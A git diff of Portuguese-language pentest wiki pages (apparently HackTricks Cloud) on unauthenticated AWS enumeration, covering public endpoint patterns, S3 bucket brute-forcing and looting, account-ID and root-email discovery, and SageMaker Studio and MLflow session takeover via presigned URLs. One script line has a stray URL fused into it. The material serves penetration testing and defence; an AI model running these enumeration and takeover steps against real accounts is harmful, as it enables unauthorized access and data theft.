rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
index c318f5492..5d4d16eba 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
@@ -1,11 +1,11 @@
-# AWS - Enumeração de Mídia Não Autenticada
+# AWS - Media Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-### Modelo de URL Pública
+### Modelo de URL pública
 ```
 https://{random_id}.mediaconvert.{region}.amazonaws.com
 https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
 https://{random_id}.data.mediastore.{region}.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
deleted file mode 100644
index d61be841f..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - MQ Enum Não Autenticado
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Porta Pública
-
-### **RabbitMQ**
-
-No caso do **RabbitMQ**, por **padrão, o acesso público** e ssl estão habilitados. Mas você precisa de **credenciais** para acessar (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Além disso, é possível **acessar o console de gerenciamento web** se você souber as credenciais em `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
-
-### ActiveMQ
-
-No caso do **ActiveMQ**, por padrão, o acesso público e ssl estão habilitados, mas você precisa de credenciais para acessar.
-
-### Modelo de URL Pública
-```
-https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
-ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
new file mode 100644
index 000000000..31e8c237f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
@@ -0,0 +1,20 @@
+# AWS - MQ Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Porta Pública
+
+### **RabbitMQ**
+
+Em caso de **RabbitMQ**, por **padrão o acesso público** e ssl estão habilitados. Mas você precisa de **credentials** para acessar (`amqps://.mq.us-east-1.amazonaws.com:5671`). Além disso, é possível **acessar o console de gerenciamento web** se você souber as credentials em `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
+
+### ActiveMQ
+
+No caso do **ActiveMQ**, por padrão o acesso público e ssl estão habilitados, mas você precisa de credentials para acessar.
+
+### Modelo de URL pública
+```
+https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
+ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
deleted file mode 100644
index d3a97e4ab..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - MSK Enum Não Autenticado
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Porta Pública
-
-É possível **expor o broker Kafka ao público**, mas você precisará de **credenciais**, permissões IAM ou um certificado válido (dependendo do método de autenticação configurado).
-
-Também é **possível desabilitar a autenticação**, mas nesse caso **não é possível expor diretamente** a porta para a Internet.
-
-### Modelo de URL Pública
-```
-b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
-{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..dffe710c4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
@@ -0,0 +1,16 @@
+# AWS - MSK Enumeração Não Autenticada
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Porta Pública
+
+É possível **expor o broker Kafka para o público**, mas você precisará de **credenciais**, permissões IAM ou um certificado válido (dependendo do método de autenticação configurado).
+
+Também é **possível desabilitar a autenticação**, mas nesse caso **não é possível expor diretamente** a porta para a Internet.
+
+### Modelo de URL Pública
+```
+b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
+{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
similarity index 64%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
index 585b652b2..3423aded7 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
@@ -1,22 +1,22 @@
-# AWS - RDS Enum Não Autenticado
+# AWS - RDS Enumeração Não Autenticada
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-Para mais informações, consulte:
+Para mais informações consulte:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ## Porta Pública
 
-É possível dar acesso público ao **banco de dados pela internet**. O atacante ainda precisará **saber o nome de usuário e a senha,** acesso IAM ou um **exploit** para entrar no banco de dados.
+É possível dar acesso público ao **banco de dados pela internet**. O atacante ainda precisará **conhecer o username and password,** acesso IAM, ou um **exploit** para entrar no banco de dados.
 
-## Snapshots Públicos do RDS
+## Snapshots RDS Públicos
 
-A AWS permite dar **acesso a qualquer pessoa para baixar snapshots do RDS**. Você pode listar esses snapshots públicos do RDS muito facilmente a partir da sua própria conta:
+AWS permite dar **acesso a qualquer pessoa para baixar RDS snapshots**. Você pode listar esses snapshots RDS públicos muito facilmente a partir da sua própria conta:
 ```bash
 # Public RDS snapshots
 aws rds describe-db-snapshots --include-public
@@ -37,4 +37,4 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
 mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
deleted file mode 100644
index 671d377af..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Redshift Enum Não Autenticado
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Modelo de URL Pública
-```
-{user_provided}.<random>.<region>.redshift.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
new file mode 100644
index 000000000..1b52b8d28
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Redshift Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Modelo de URL público
+```
+{user_provided}.<random>.<region>.redshift.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
index 427125582..2726d3c61 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
@@ -1,44 +1,44 @@
-# AWS - S3 Enum Não Autenticado
+# AWS - S3 Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## Buckets Públicos S3
+## S3 Public Buckets
 
-Um bucket é considerado **“público”** se **qualquer usuário pode listar o conteúdo** do bucket, e **“privado”** se o conteúdo do bucket pode **ser listado ou escrito apenas por certos usuários**.
+Um bucket é considerado **“público”** se **qualquer usuário puder listar o conteúdo** do bucket, e **“privado”** se o conteúdo do bucket **só puder ser listado ou escrito por determinados usuários**.
 
-As empresas podem ter **permissões de buckets mal configuradas**, dando acesso tanto a tudo quanto a todos autenticados na AWS em qualquer conta (ou seja, a qualquer um). Note que, mesmo com tais configurações incorretas, algumas ações podem não ser realizadas, pois os buckets podem ter suas próprias listas de controle de acesso (ACLs).
+Empresas podem ter permissões de buckets mal configuradas, dando acesso tanto a tudo quanto a qualquer pessoa autenticada na AWS em qualquer conta (portanto a qualquer um). Observe que, mesmo com tais más configurações, algumas ações podem não ser possíveis, pois os buckets podem ter suas próprias access control lists (ACLs).
 
-**Saiba mais sobre a má configuração do AWS-S3 aqui:** [**http://flaws.cloud**](http://flaws.cloud/) **e** [**http://flaws2.cloud/**](http://flaws2.cloud)
+**Aprenda sobre misconfiguração do AWS-S3 aqui:** [**http://flaws.cloud**](http://flaws.cloud/) **e** [**http://flaws2.cloud/**](http://flaws2.cloud)
 
-### Encontrando Buckets AWS
+### Finding AWS Buckets
 
-Diferentes métodos para encontrar quando uma página da web está usando AWS para armazenar alguns recursos:
+Diferentes métodos para descobrir quando uma página web está usando AWS para armazenar alguns recursos:
 
-#### Enumeração & OSINT:
+#### Enumeration & OSINT:
 
 - Usando o plugin de navegador **wappalyzer**
-- Usando burp (**spidering** a web) ou navegando manualmente pela página, todos os **recursos** **carregados** serão salvos no Histórico.
-- **Verifique os recursos** em domínios como:
+- Usando burp (**spidering** a web) ou navegando manualmente pela página — todos os **resources** **loaded** serão salvos no History.
+- **Verifique por resources** em domínios como:
 
 ```
 http://s3.amazonaws.com/[bucket_name]/
 http://[bucket_name].s3.amazonaws.com/
 ```
 
-- Verifique por **CNAMES** como `resources.domain.com` que pode ter o CNAME `bucket.s3.amazonaws.com`
-- **[s3dns](https://github.com/olizimmermann/s3dns)** – Um servidor DNS leve que identifica passivamente buckets de armazenamento em nuvem (S3, GCP, Azure) analisando o tráfego DNS. Ele detecta CNAMEs, segue cadeias de resolução e combina padrões de buckets, oferecendo uma alternativa silenciosa à descoberta por força bruta ou baseada em API. Perfeito para fluxos de trabalho de recon e OSINT.
+- Verifique por **CNAMES** já que `resources.domain.com` pode ter o CNAME `bucket.s3.amazonaws.com`
+- **[s3dns](https://github.com/olizimmermann/s3dns)** – Um servidor DNS leve que identifica passivamente cloud storage buckets (S3, GCP, Azure) analisando o tráfego DNS. Detecta CNAMEs, segue cadeias de resolução e casa padrões de bucket, oferecendo uma alternativa silenciosa ao brute-force ou à descoberta via API. Perfeito para fluxos de trabalho de recon e OSINT.
 - Verifique [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), um site com **buckets abertos já descobertos**.
-- O **nome do bucket** e o **nome do domínio do bucket** precisam ser **os mesmos.**
-- **flaws.cloud** está no **IP** 52.92.181.107 e se você for lá, ele redireciona você para [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Além disso, `dig -x 52.92.181.107` retorna `s3-website-us-west-2.amazonaws.com`.
-- Para verificar se é um bucket, você também pode **visitar** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
+- O **bucket name** e o **bucket domain name** precisam ser **os mesmos.**
+- **flaws.cloud** está no **IP** 52.92.181.107 e se você for lá ele redireciona para [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Além disso, `dig -x 52.92.181.107` retorna `s3-website-us-west-2.amazonaws.com`.
+- Para verificar que é um bucket você também pode **visitar** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
 
-#### Força Bruta
+#### Brute-Force
 
-Você pode encontrar buckets **forçando nomes** relacionados à empresa que você está testando:
+Você pode encontrar buckets fazendo **brute-force nos nomes** relacionados à empresa que você está pentesting:
 
 - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
 - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
-- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contém uma lista com nomes de buckets potenciais)
+- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
 - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
 - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
 - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
@@ -46,47 +46,47 @@ Você pode encontrar buckets **forçando nomes** relacionados à empresa que voc
 - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
 - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
 
-<pre class="language-bash"><code class="lang-bash"># Gerar uma lista de palavras para criar permutações
+<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
 
-# Gerar uma lista de palavras com base nos domínios e subdomínios a serem testados
-## Escreva esses domínios e subdomínios em subdomains.txt
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
 cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# Criar permutações com base em uma lista com os domínios e subdomínios a serem atacados
+# Create permutations based in a list with the domains and subdomains to attack
 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## A ferramenta anterior é especializada em criar permutações para subdomínios, vamos filtrar essa lista
-<strong>### Remover linhas que terminam com "."
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+<strong>### Remove lines ending with "."
 </strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Criar lista sem TLD
+### Create list without TLD
 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Criar lista sem pontos
+### Create list without dots
 cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Criar lista sem hífens
+### Create list without hyphens
 cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
 
-## Gerar a lista de palavras final
+## Generate the final wordlist
 cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
 
-## Chamar s3scanner
+## Call s3scanner
 s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
 </code></pre>
 
-#### Saque de Buckets S3
+#### Loot S3 Buckets
 
-Dado buckets S3 abertos, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) pode automaticamente **procurar informações interessantes**.
+Dado buckets S3 abertos, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) pode automaticamente **buscar informações interessantes**.
 
-### Encontrar a Região
+### Find the Region
 
 Você pode encontrar todas as regiões suportadas pela AWS em [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
 
-#### Por DNS
+#### By DNS
 
-Você pode obter a região de um bucket com um **`dig`** e **`nslookup`** fazendo uma **solicitação DNS do IP descoberto**:
+Você pode obter a região de um bucket com `dig` e `nslookup` fazendo uma **requisição DNS do IP descoberto**:
 ```bash
 dig flaws.cloud
 ;; ANSWER SECTION:
@@ -98,21 +98,21 @@ Non-authoritative answer:
 ```
 Verifique se o domínio resolvido contém a palavra "website".\
 Você pode acessar o site estático indo para: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
-ou pode acessar o bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com`
+ou você pode acessar o bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com`
 
 
 
-#### Tentando
+#### Ao Tentar
 
-Se você tentar acessar um bucket, mas no **nome do domínio você especificar outra região** (por exemplo, o bucket está em `bucket.s3.amazonaws.com`, mas você tenta acessar `bucket.s3-website-us-west-2.amazonaws.com`), então você será **indicado para o local correto**:
+Se você tentar acessar um bucket, mas no **nome de domínio você especificar outra região** (por exemplo o bucket está em `bucket.s3.amazonaws.com` mas você tenta acessar `bucket.s3-website-us-west-2.amazonaws.com`), então você será **indicado para a localização correta**:
 
 ![](<../../../images/image (106).png>)
 
 ### Enumerando o bucket
 
-Para testar a abertura do bucket, um usuário pode simplesmente inserir a URL em seu navegador. Um bucket privado responderá com "Acesso Negado". Um bucket público listará os primeiros 1.000 objetos que foram armazenados.
+Para testar a abertura do bucket, um usuário pode simplesmente inserir a URL no navegador. Um bucket privado responderá com "Access Denied". Um bucket público listará os primeiros 1.000 objetos que foram armazenados.
 
-Aberto para todos:
+Aberto a todos:
 
 ![](<../../../images/image (201).png>)
 
@@ -128,16 +128,16 @@ Você também pode verificar isso com o cli:
 #Opcionally you can select the region if you now it
 aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
 ```
-Se o bucket não tiver um nome de domínio, ao tentar enumerá-lo, **coloque apenas o nome do bucket** e não o domínio completo do AWSs3. Exemplo: `s3://<BUCKETNAME>`
+Se o bucket não tiver um nome de domínio, ao tentar enumerá-lo, **coloque apenas o nome do bucket** e não todo o domínio AWSs3. Exemplo: `s3://<BUCKETNAME>`
 
 ### Modelo de URL pública
 ```
 https://{user_provided}.s3.amazonaws.com
 ```
-### Obter ID da Conta a partir de um Bucket público
+### Obter Account ID de um Bucket público
 
-É possível determinar uma conta AWS aproveitando a nova **`S3:ResourceAccount`** **Chave de Condição de Política**. Esta condição **restrige o acesso com base no bucket S3** em que uma conta está (outras políticas baseadas em conta restringem com base na conta em que o principal solicitante está).\
-E como a política pode conter **coringas**, é possível encontrar o número da conta **apenas um número por vez**.
+É possível determinar uma conta AWS aproveitando a nova **`S3:ResourceAccount`** **Policy Condition Key**. Esta condição **restringe o acesso com base no S3 bucket** em que uma conta está (outras policies baseadas em conta restringem com base na conta em que o principal solicitante está).\
+E, porque a policy pode conter **wildcards**, é possível descobrir o número da conta **apenas um dígito por vez**.
 
 Esta ferramenta automatiza o processo:
 ```bash
@@ -149,11 +149,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
 # With an object
 s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
 ```
-Essa técnica também funciona com URLs do API Gateway, URLs do Lambda, conjuntos de dados do Data Exchange e até mesmo para obter o valor de tags (se você souber a chave da tag). Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
+Esta técnica também funciona com API Gateway URLs, Lambda URLs, Data Exchange data sets e até para obter o valor de tags (se você souber a chave da tag). Você pode encontrar mais informações na [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
 
 ### Confirmando que um bucket pertence a uma conta AWS
 
-Como explicado em [**este post do blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, se você tiver permissões para listar um bucket** é possível confirmar um accountID ao qual o bucket pertence enviando uma solicitação como:
+Como explicado em [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, se você tiver permissões para listar um bucket** é possível confirmar o accountID ao qual o bucket pertence enviando uma requisição como:
 ```bash
 curl -X GET "[bucketname].amazonaws.com/" \
 -H "x-amz-expected-bucket-owner: [correct-account-id]"
@@ -161,11 +161,11 @@ curl -X GET "[bucketname].amazonaws.com/" \
 <?xml version="1.0" encoding="UTF-8"?>
 <ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
 ```
-Se o erro for "Acesso Negado", isso significa que o ID da conta estava errado.
+Se o erro for “Access Denied”, isso significa que o account ID estava errado.
 
-### Emails usados como enumeração de conta root
+### Emails usados para enumeração de contas root
 
-Como explicado em [**este post do blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), é possível verificar se um endereço de e-mail está relacionado a alguma conta AWS **tentando conceder permissões a um e-mail** sobre um bucket S3 via ACLs. Se isso não gerar um erro, significa que o e-mail é um usuário root de alguma conta AWS:
+Como explicado em [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), é possível verificar se um endereço de email está relacionado a alguma conta AWS ao **tentar conceder permissões a um email** sobre um bucket S3 via ACLs. Se isso não gerar um erro, significa que o email é um usuário root de alguma conta AWS:
 ```python
 s3_client.put_bucket_acl(
 Bucket=bucket_name,
@@ -186,9 +186,9 @@ AccessControlPolicy={
 }
 )
 ```
-## Referências
+## References
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
new file mode 100644
index 000000000..31bd7f265
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
@@ -0,0 +1,108 @@
+# AWS - SageMaker Acesso Não Autorizado
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker Studio - Tomada de Conta via CreatePresignedDomainUrl (Impersonar qualquer UserProfile)
+
+### Description
+Uma identidade com permissão para chamar `sagemaker:CreatePresignedDomainUrl` em um `UserProfile` alvo do Studio pode gerar uma URL de login que autentica diretamente no SageMaker Studio como esse perfil. Isso concede ao navegador do atacante uma sessão do Studio que herda as permissões do `ExecutionRole` do perfil e acesso total ao home do perfil suportado por EFS e aos apps. Não é necessário `iam:PassRole` nem acesso ao console.
+
+### Requirements
+- Um SageMaker Studio `Domain` e um `UserProfile` alvo dentro dele.
+- O principal atacante precisa de `sagemaker:CreatePresignedDomainUrl` no `UserProfile` alvo (nível de recurso) ou `*`.
+
+Minimal policy example (scoped to one UserProfile):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedDomainUrl",
+"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
+}
+]
+}
+```
+### Etapas de Abuso
+
+1) Enumerar um Studio Domain e UserProfiles que você pode ter como alvo
+```bash
+DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
+aws sagemaker list-user-profiles --domain-id-equals $DOM
+TARGET_USER=<UserProfileName>
+```
+2) Gerar uma URL pré-assinada (válida por ~5 minutos por padrão)
+```bash
+aws sagemaker create-presigned-domain-url \
+--domain-id $DOM \
+--user-profile-name $TARGET_USER \
+--query AuthorizedUrl --output text
+```
+3) Abra a URL retornada em um navegador para entrar no Studio como o usuário alvo. Em um terminal Jupyter dentro do Studio, verifique a identidade efetiva:
+```bash
+aws sts get-caller-identity
+```
+Notas:
+- `--landing-uri` pode ser omitido. Alguns valores (por exemplo, `app:JupyterLab:/lab`) podem ser rejeitados dependendo da variante/versão do Studio; os padrões normalmente redirecionam para a home do Studio e depois para o Jupyter.
+- Políticas da organização/restrições de endpoint VPC ainda podem bloquear o acesso à rede; a emissão do token não requer login no console ou `iam:PassRole`.
+
+### Impacto
+- Movimento lateral e escalada de privilégios ao assumir qualquer Studio `UserProfile` cujo ARN seja permitido, herdando seu `ExecutionRole` e sistema de arquivos/apps.
+
+### Evidência (de um teste controlado)
+- Com apenas `sagemaker:CreatePresignedDomainUrl` no `UserProfile` alvo, the attacker role retornou com sucesso um `AuthorizedUrl` como:
+```
+https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
+```
+- Uma requisição HTTP direta responde com um redirecionamento (HTTP 302) para Studio, confirmando que a URL é válida e ativa até expirar.
+
+
+## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
+
+### Descrição
+Uma identidade com permissão para chamar `sagemaker:CreatePresignedMlflowTrackingServerUrl` para um SageMaker MLflow Tracking Server alvo pode gerar uma URL presignada de uso único que autentica diretamente na UI gerenciada do MLflow desse servidor. Isso concede o mesmo acesso que um usuário legítimo teria ao servidor (visualizar/criar experimentos e execuções, e baixar/enviar artefatos no repositório S3 do servidor) sem acesso ao console ou `iam:PassRole`.
+
+### Requisitos
+- Um SageMaker MLflow Tracking Server na conta/região e o seu nome.
+- O principal atacante precisa de `sagemaker:CreatePresignedMlflowTrackingServerUrl` no recurso MLflow Tracking Server alvo (ou `*`).
+
+Exemplo de política mínima (limitada a um Tracking Server):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
+"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
+}
+]
+}
+```
+### Etapas de Abuso
+
+1) Enumere os MLflow Tracking Servers que você pode atingir e escolha um nome
+```bash
+aws sagemaker list-mlflow-tracking-servers \
+--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
+TS_NAME=<tracking-server-name>
+```
+2) Gerar uma URL pré-assinada do MLflow UI (válida por um curto período)
+```bash
+aws sagemaker create-presigned-mlflow-tracking-server-url \
+--tracking-server-name "$TS_NAME" \
+--expires-in-seconds 300 \
+--session-expiration-duration-in-seconds 1800 \
+--query AuthorizedUrl --output text
+```
+3) Abra a URL retornada em um navegador para acessar o MLflow UI como um usuário autenticado desse Tracking Server.
+
+Notes:
+- O Tracking Server deve estar em um estado pronto (por exemplo, `Created/Active`). Se ainda estiver `Creating`, a chamada será rejeitada.
+- A presigned URL é de uso único e de curta duração; gere uma nova quando necessário.
+
+### Impacto
+- Acesso direto ao MLflow UI gerenciado do Tracking Server alvo, permitindo visualizar e modificar experiments/runs e recuperar ou enviar artefatos armazenados no S3 artifact store configurado no servidor, dentro das permissões impostas pela configuração do servidor.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
deleted file mode 100644
index 9dbc3f9ca..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SNS Enum Não Autenticado
-
